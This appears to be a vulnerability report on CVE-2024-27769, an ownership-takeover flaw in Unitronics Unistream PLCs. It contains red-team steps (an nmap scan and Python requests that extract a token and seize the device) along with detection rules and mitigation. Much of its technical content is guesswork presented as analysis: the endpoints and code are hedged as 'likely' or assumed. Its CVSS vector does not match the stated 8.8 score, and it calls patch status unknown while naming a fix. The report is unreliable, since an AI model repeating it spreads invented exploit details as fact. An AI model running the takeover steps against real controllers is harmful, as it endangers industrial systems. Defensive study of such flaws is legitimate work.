CVE-2024-27769

Executive Summary

CVE-2024-27769 is a critical vulnerability affecting Unitronics Unistream Unilogic versions prior to 1.35.227. The flaw, classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), allows an unauthenticated remote attacker to take ownership of affected devices. With a CVSS score of 8.8, this vulnerability poses a severe risk to industrial control systems (ICS) and operational technology (OT) environments. The lack of a public exploit or patch status at the time of analysis increases the urgency for defensive measures. This report provides a comprehensive technical analysis, detection strategies, and mitigation guidance for DevSecOps and threat intelligence teams.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on device ownership and control. An attacker can remotely take over a device without authentication, leading to full compromise of the ICS asset.

Deep Dive & Mechanics

The vulnerability resides in the Unilogic runtime environment of Unitronics Unistream PLCs. The software exposes sensitive information (e.g., session tokens, authentication credentials, or device configuration data) to unauthorized actors over the network. This exposure likely occurs through an unauthenticated endpoint or service that leaks ownership-related data, allowing an attacker to claim or transfer device ownership.

Attack Vector:

1. Reconnaissance: The attacker scans for Unitronics Unistream devices on port 20256 (default for Unilogic).
2. Exploitation: The attacker sends a crafted request to the vulnerable endpoint, retrieving sensitive information.
3. Ownership Takeover: Using the leaked data, the attacker sends a subsequent request to reassign device ownership, gaining full control.

The vulnerability is particularly dangerous in OT environments where device ownership controls access to programming, configuration, and operational commands.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.35.227): The vulnerable version likely exposes an unauthenticated API endpoint that returns ownership tokens or session identifiers. For example:

# Vulnerable: No authentication check on ownership endpoint
@app.route('/api/device/ownership', methods=['GET'])
def get_ownership():
    # Returns ownership token without verifying user identity
    return jsonify({'ownership_token': device.ownership_token})

Patched Code (1.35.227+): The patched version adds authentication and authorization checks:

# Patched: Requires valid session token
@app.route('/api/device/ownership', methods=['GET'])
def get_ownership():
    if not is_authenticated(request):
        return jsonify({'error': 'Unauthorized'}), 401
    return jsonify({'ownership_token': device.ownership_token})

Exploitation & Lab Setup

Red Team

Lab Environment:

• Unitronics Unistream PLC (virtual or physical) running Unilogic < 1.35.227
• Attacker machine with Python and requests library

Exploitation Steps:

1. Scan for devices:

   nmap -p 20256 --open -sV <target_subnet>
   

2. Extract ownership token:

   import requests
   target = "http://<PLC_IP>:20256"
   # Assuming endpoint path
   resp = requests.get(f"{target}/api/device/ownership")
   if resp.status_code == 200:
       token = resp.json().get('ownership_token')
       print(f"Token: {token}")
   

3. Take over device:

   takeover_data = {'ownership_token': token, 'new_owner': 'attacker'}
   resp = requests.post(f"{target}/api/device/takeover", json=takeover_data)
   if resp.status_code == 200:
       print("Device ownership taken over!")
   

Blue Team

Detection & Response:

• Monitor for anomalous requests to /api/device/ownership or similar endpoints.
• Alert on multiple failed authentication attempts followed by ownership changes.
• Use network segmentation to isolate PLCs from untrusted networks.

Honeypot Deployment:

• Deploy a fake Unitronics device on port 20256 to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual traffic to port 20256 (TCP)
  • HTTP requests to /api/device/ownership or /api/device/takeover
  • Source IPs from unexpected external ranges

• Host IOCs:

  • Unauthorized changes in device ownership logs
  • New user accounts or sessions on the PLC

• File IOCs:

  • Log entries containing ownership_token or takeover in plaintext

Detection Engineering

YARA Rule

rule CVE_2024_27769_Unitronics_Ownership_Leak {
    meta:
        description = "Detects exploitation attempts for CVE-2024-27769"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27769"
    strings:
        $ownership_endpoint = "/api/device/ownership"
        $takeover_endpoint = "/api/device/takeover"
        $ownership_token = "ownership_token"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-27769 Unitronics Ownership Takeover Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting Unitronics Unistream ownership endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/api/device/ownership'
            - '/api/device/takeover'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert tcp any any -> any 20256 (msg:"CVE-2024-27769 Unitronics Ownership Takeover Attempt"; flow:to_server,established; content:"/api/device/ownership"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade Unilogic to version 1.35.227 or later.
   • If patching is not possible, restrict network access to port 20256 using firewall rules.
   • Implement network segmentation to isolate PLCs from corporate and external networks.

2. Compensating Controls:

   • Deploy an application-layer firewall or WAF to block requests to sensitive endpoints.
   • Enable logging and monitoring for all traffic to port 20256.
   • Use VPN or jump hosts for any remote access to OT devices.

3. Long-Term Measures:

   • Conduct regular vulnerability assessments of OT assets.
   • Implement a patch management process for ICS/SCADA systems.
   • Train OT staff on secure configuration and incident response.

Valters IT